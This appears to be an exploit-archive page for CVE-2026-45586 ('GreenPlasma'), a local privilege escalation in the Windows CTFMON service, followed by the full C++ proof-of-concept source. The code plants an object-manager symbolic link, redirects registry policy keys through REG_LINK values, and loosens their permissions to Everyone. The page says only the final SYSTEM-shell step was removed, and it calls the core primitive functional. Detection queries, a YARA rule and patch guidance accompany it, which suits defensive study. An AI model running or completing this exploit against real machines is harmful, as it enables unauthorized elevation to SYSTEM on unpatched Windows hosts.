PoC Archive PoC Archive
High CVE-2026-45586 patched

Windows CTFMON Arbitrary Section Object EoP — GreenPlasma (CVE-2026-45586)

by Nightmare-Eclipse (ASkyeye re-host) · 2026-06-28

CVSS 7.8/10
Severity
High
CVE
CVE-2026-45586
Category
binary
Affected product
Windows Collaborative Translation Framework (CTFMON service)
Affected versions
Windows 11, Windows Server 2022, Windows Server 2026; Windows 10 status unclear
Disclosed
2026-06-28
Patch status
patched

Metadata

FieldValue
Date Added2026-06-28
Last Updated2026-05-12
Author / ResearcherNightmare-Eclipse (ASkyeye re-host)
CVE / AdvisoryCVE-2026-45586
Categorybinary
SeverityHigh
CVSS Score7.8 (CVSSv3)
StatusPoC
TagsLPE, EoP, Windows, CTFMON, section-object, object-directory, link-following, zero-day, CTF-challenge, Windows-11, Windows-2022, Windows-2026, incomplete-poc
RelatedN/A

Affected Target

FieldValue
Software / SystemWindows Collaborative Translation Framework (CTFMON service)
Versions AffectedWindows 11, Windows Server 2022, Windows Server 2026; Windows 10 status unclear
Language / PlatformC++ (Windows x64)
Authentication RequiredNo (standard local user)
Network Access RequiredNo (local only)

Summary

CVE-2026-45586 (GreenPlasma) is a Windows CTFMON Elevation of Privilege vulnerability exploiting an arbitrary named section object creation primitive. A standard unprivileged user can create a section object in any directory object writable by SYSTEM, abusing CTFMON’s trust in certain object directory paths to manipulate services or kernel-mode drivers that blindly consume data from those paths. The vulnerability was disclosed publicly as a zero-day by researcher “Nightmare Eclipse” before the June 2026 Patch Tuesday patch. The included PoC (GreenPlasma.cpp) has the SYSTEM shell finalization step intentionally stripped by the researcher as a CTF challenge; the core primitive (arbitrary section creation) is complete.


Vulnerability Details

Root Cause

The CTFMON service (Windows Collaborative Translation Framework) resolves and trusts certain named object paths without validating that those paths are only writable by privileged users. A standard user can create a malicious section object in a SYSTEM-writable object directory, influencing the data read by CTFMON or by other services and kernel-mode drivers that inherit the same trust assumptions. The link-following behavior (CWE-59) allows this object substitution to reach a privileged execution context.

Attack Vector

  1. As a standard user, identify a named object directory writable by SYSTEM that CTFMON or a trusted service references.
  2. Create a malicious section object in that directory using the primitive in GreenPlasma.cpp.
  3. The targeted service or driver reads from the attacker-controlled section.
  4. Trigger service execution path → EoP to SYSTEM (finalization step stripped from this PoC).

Impact

Elevation of privilege from standard local user to SYSTEM. Patched in June 2026 Patch Tuesday. Researcher confirmed: works on Windows 11 / Server 2022 / Server 2026; Windows 10 status not confirmed.


Environment / Lab Setup

OS:       Windows 11 or Windows Server 2022/2026
Compiler: MSVC (Visual Studio) or MinGW
Build:    cl.exe /O2 GreenPlasma.cpp
          g++ -O2 -o GreenPlasma.exe GreenPlasma.cpp

Proof of Concept

PoC Code

See GreenPlasma.cpp in this folder. Incomplete — SYSTEM shell finalization step removed by researcher. The arbitrary section creation primitive is functional.

From the researcher: “I stripped off the necessary code for a full SYSTEM shell. This is a huge challenge for CTF lovers out there.”

Expected Output (partial PoC)

Section object is created in the target SYSTEM-writable object directory; no SYSTEM shell spawned without the missing step.


Detection & Indicators of Compromise

1
Get-WinEvent -LogName Security | Where-Object {$_.Id -eq 4688 -and $_.Message -like "*ctfmon*"}

YARA (on-disk):

rule GreenPlasma_LPE {
  strings:
    $s1 = "GreenPlasma" wide ascii
    $s2 = "NtCreateSection" ascii
    $s3 = "ctfmon" wide ascii nocase
  condition:
    2 of them
}

Remediation

ActionDetail
PatchApply June 2026 Microsoft Patch Tuesday cumulative update
VerifyConfirm CTF/CTFMON component is updated; check Windows Update history
MSRChttps://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45586

References


Notes

Auto-ingested from https://github.com/ASkyeye/GreenPlasma on 2026-06-28. Original code by Nightmare-Eclipse; re-hosted by ASkyeye after Nightmare-Eclipse’s account was removed from GitHub. Disclosed as a publicly known zero-day before the June 2026 Patch Tuesday patch. The SYSTEM shell finalization step is intentionally absent — the core section-object primitive is present and functional. Completing the exploit requires reversing the stripped logic (positioned by the researcher as a CTF challenge for skilled practitioners).

GreenPlasma.cpp
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244


#include <iostream>
#include <Windows.h>
#include <winternl.h>
#include <aclapi.h>
#include <ntstatus.h>
#include <tlhelp32.h>
#include <sddl.h>
#include <conio.h>
#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "advapi32.lib")


#define RtlOffsetToPointer(Base, Offset) ((PUCHAR)(((PUCHAR)(Base)) + ((ULONG_PTR)(Offset))))
HMODULE hm = GetModuleHandle(L"ntdll.dll");
NTSTATUS(WINAPI* _NtCreateSymbolicLinkObject)(
	OUT PHANDLE             pHandle,
	IN ACCESS_MASK          DesiredAccess,
	IN POBJECT_ATTRIBUTES   ObjectAttributes,
	IN PUNICODE_STRING      DestinationName) = (NTSTATUS(WINAPI*)(
		OUT PHANDLE             pHandle,
		IN ACCESS_MASK          DesiredAccess,
		IN POBJECT_ATTRIBUTES   ObjectAttributes,
		IN PUNICODE_STRING      DestinationName))GetProcAddress(hm, "NtCreateSymbolicLinkObject");
NTSTATUS(WINAPI* _NtOpenSection)(
    _Out_ PHANDLE SectionHandle,
    _In_ ACCESS_MASK DesiredAccess,
    _In_ POBJECT_ATTRIBUTES ObjectAttributes
    ) = (NTSTATUS(WINAPI*)(
        _Out_ PHANDLE SectionHandle,
        _In_ ACCESS_MASK DesiredAccess,
        _In_ POBJECT_ATTRIBUTES ObjectAttributes))GetProcAddress(hm, "NtOpenSection");
NTSTATUS(WINAPI* _NtDeleteKey)(
    HANDLE hkey
    ) = (NTSTATUS(WINAPI*)(HANDLE hkey))GetProcAddress(hm, "NtDeleteKey");
DWORD(WINAPI* CfAbortOperation)(
    DWORD pid,
    void* unknown,
    DWORD flags
    ) = (DWORD(WINAPI*)(
        DWORD pid,
        void* unknown,
        DWORD flags
        ))GetProcAddress(LoadLibraryA("cldapi.dll"), "CfAbortOperation");



bool SetPolicyVal()
{

    bool ret = true;
    CfAbortOperation(GetCurrentProcessId(), NULL, 0x2);
    DWORD val = 1;
    DWORD dwRes = NULL;
    HKEY hk = NULL;
    DWORD res = NULL;
    PACL pACL = NULL;
    PSECURITY_DESCRIPTOR pSD = NULL;
    EXPLICIT_ACCESS ea;
    HANDLE htoken = NULL;
    DWORD dwSize = 0;
    wchar_t* stringSid = nullptr;
    wchar_t linktarget[MAX_PATH] = { 0 };
    PTOKEN_USER pTokenUser = NULL;
    ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
    ea.grfAccessPermissions = GENERIC_ALL;
    ea.grfAccessMode = SET_ACCESS;
    ea.grfInheritance = SUB_CONTAINERS_AND_OBJECTS_INHERIT;
    ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
    ea.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP;
    ea.Trustee.ptstrName = (wchar_t*)L"Everyone";
    dwRes = SetEntriesInAcl(1, &ea, NULL, &pACL);
    if (ERROR_SUCCESS != dwRes) {
        printf("SetEntriesInAcl error: %d\n",dwRes);
        goto cleanup;
    }

    res = TreeSetNamedSecurityInfo((wchar_t*)L"CURRENT_USER\\Software\\Policies\\Microsoft\\CloudFiles", SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION, NULL, NULL, pACL, NULL, TREE_SEC_INFO_RESET_KEEP_EXPLICIT, NULL, ProgressInvokeNever, NULL);
    if (res)
    {
        printf("Failed to reset HKCU\\Software\\Policies\\Microsoft\\CloudFiles DACL, error : %d\n", res);
        goto cleanup;
    }
    res = RegDeleteTree(HKEY_CURRENT_USER, L"Software\\Policies\\Microsoft\\CloudFiles\\BlockedApps");
    if (res)
    {
        printf("Failed to delete HKCU\\Software\\Policies\\Microsoft\\CloudFiles\\BlockedApps, error : %d\n", res);
        goto cleanup;
    }

    res = RegCreateKeyEx(HKEY_CURRENT_USER, L"Software\\Policies\\Microsoft\\CloudFiles\\BlockedApps", NULL, NULL, REG_OPTION_CREATE_LINK | REG_OPTION_VOLATILE, KEY_ALL_ACCESS, NULL, &hk, NULL);
    if (res)
    {
        printf("Failed to create HKCU\\Software\\Policies\\Microsoft\\CloudFiles\\BlockedApps, error : %d\n", res);
        goto cleanup;
    }

    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &htoken)) {
        printf("OpenProcessToken, error : %d\n", GetLastError());
        _NtDeleteKey(hk);
        goto cleanup;
    }

    GetTokenInformation(htoken, TokenUser, nullptr, 0, &dwSize);

    if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) {
        printf("GetTokenInformation failed, error : %d\n",GetLastError());
        _NtDeleteKey(hk);
        goto cleanup;
    }
    pTokenUser = (PTOKEN_USER)malloc(dwSize);

    if (!GetTokenInformation(htoken, TokenUser, pTokenUser, dwSize, &dwSize)) {
        printf("GetTokenInformation failed, error : %d\n", GetLastError());
        _NtDeleteKey(hk);
        goto cleanup;
    }
    CloseHandle(htoken);
    htoken = NULL;

    if (!ConvertSidToStringSid(pTokenUser->User.Sid, &stringSid)) {
        printf("ConvertSidToStringSid failed.\n");
        _NtDeleteKey(hk);
        goto cleanup;
    }
    wsprintf(linktarget, L"\\REGISTRY\\USER\\%ws\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",stringSid);
    
    res = RegSetValueEx(hk, L"SymbolicLinkValue", NULL, REG_LINK, (BYTE*)linktarget, wcslen(linktarget) * sizeof(wchar_t));
    if (res)
    {
        printf("Failed to create symbolic link, error : %d\n", res);
        _NtDeleteKey(hk);
        goto cleanup;
    }
    CfAbortOperation(GetCurrentProcessId(), NULL, 0x2);
    res = TreeSetNamedSecurityInfo((wchar_t*)L"CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION, NULL, NULL, pACL, NULL, TREE_SEC_INFO_RESET_KEEP_EXPLICIT, NULL, ProgressInvokeNever, NULL);
    if (res)
    {
        printf("Failed to reset HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System DACL, error : %d\n", res);
        goto cleanup;
    }

    _NtDeleteKey(hk);
    CloseHandle(hk);
    hk = NULL;
    res = RegOpenKeyEx(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", NULL, KEY_SET_VALUE, &hk);
    if (res)
    {
        printf("Failed to open HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System ,error : %d\n", res);
        goto cleanup;
    }
    res = RegSetValueEx(hk, L"DisableLockWorkstation", NULL, REG_DWORD, (BYTE*)&val, sizeof(DWORD));
    if (res)
    {
        printf("Failed to set HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System ,error : %d\n", res);
       goto cleanup;
    }

exit:

    if (pACL) 
        LocalFree(pACL);
    if (pSD) 
        LocalFree(pSD);
    if(hk)
        CloseHandle(hk);
    return ret;
cleanup:
    ret = false;
    goto exit;
}

int wmain(int argc, wchar_t** argv)
{
    
	wchar_t smpath[MAX_PATH] = { 0 };
	DWORD sesid = 0;
    if (!ProcessIdToSessionId(GetCurrentProcessId(), &sesid))
    {
        printf("Failed to find current process session id, error : %d\n", GetLastError());
        return 1;
    }
    if (!sesid)
    {
        printf("Seriously...?\n");
        return 1;
    }
	wsprintf(smpath, L"\\Sessions\\%d\\BaseNamedObjects\\CTF.AsmListCache.FMPWinlogon%d", sesid, sesid);
    wchar_t* ptarget = argc == 2 ? argv[1] : (wchar_t*)L"\\BaseNamedObjects\\CTFMON_DEAD";

    bool lockblock = false;
    SHELLEXECUTEINFO shi = { 0 };
	UNICODE_STRING linksrc = { 0 };
	UNICODE_STRING linktarget = { 0 };
	RtlInitUnicodeString(&linksrc, smpath);
	RtlInitUnicodeString(&linktarget, ptarget);
	OBJECT_ATTRIBUTES objattr = { 0 };
	InitializeObjectAttributes(&objattr, &linksrc, OBJ_CASE_INSENSITIVE, NULL, NULL);
	HANDLE hlnk = NULL;
    HANDLE hmapping = NULL;
	NTSTATUS stat = _NtCreateSymbolicLinkObject(&hlnk, GENERIC_ALL, &objattr, &linktarget);
	if (stat)
	{
		printf("Failed to create object manager link.\nEither ctfmon is running as SYSTEM or an instance of the PoC is already running.\n");
        goto cleanup;
	}

    shi.cbSize = sizeof(shi);
    shi.fMask = SEE_MASK_NOZONECHECKS | SEE_MASK_ASYNCOK;
    shi.lpVerb = L"runas";
    shi.lpFile = L"C:\\Windows\\System32\\conhost.exe";
    ShellExecuteEx(&shi);

    do {
        _NtOpenSection(&hmapping, MAXIMUM_ALLOWED, &objattr);
    } while (!hmapping);

    lockblock = SetPolicyVal();
    if (lockblock) {
        do {
            Sleep(20);
            HDESK dsk = OpenInputDesktop(NULL, NULL, GENERIC_ALL);
            if (!dsk || dsk == INVALID_HANDLE_VALUE)
                break;
            CloseDesktop(dsk);
        } while (1);
        LockWorkStation();
    }
    printf("Section handle : 0x%x\n", hmapping);
    printf("Press any button to close section and exit\n");
cleanup:
    if (hlnk)
        CloseHandle(hlnk);
    
    if (hmapping)
    {
        _getch();
        CloseHandle(hmapping);
    }
    if (lockblock)
        RegDeleteTree(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System");
    return 0;
}